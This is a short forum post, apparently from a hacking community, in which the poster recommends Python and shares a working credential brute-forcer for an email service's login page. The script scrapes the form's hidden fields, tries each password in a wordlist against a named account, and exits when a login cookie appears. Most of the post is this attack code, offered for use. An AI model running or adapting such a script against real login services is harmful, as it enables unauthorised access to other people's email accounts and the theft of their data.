I'd go python. Its a super easy language to write a brute forcer in. Here's an example of one I wrote for an email service. No proxy support or captcha bypass though. Just a basic example.
Code:
import requests, sys
from bs4 import BeautifulSoup
ses = requests.Session()
login = ses.get('https://www.gm*****.uk/#.1730818-header-navlogin2-1')
soup_login = BeautifulSoup(login.content, 'html5lib').find('form').find_all('input')
loginDict = {}
for u in soup_login:
if u.has_attr('value'):
loginDict[u['name']] = u['value']
loginDict['username'] = 'hackmereddit@gm*****.uk'
with open('dict.txt', 'r') as dict:
for word in dict:
word = word.strip()
loginDict['password'] = word
resp = ses.post('https://login.gm*****.uk/login', data=loginDict)
print(word)
if '.navigator-bs.gm*****.uk' in resp.cookies.list_domains():
print(word)
print(resp.cookies)
sys.exit()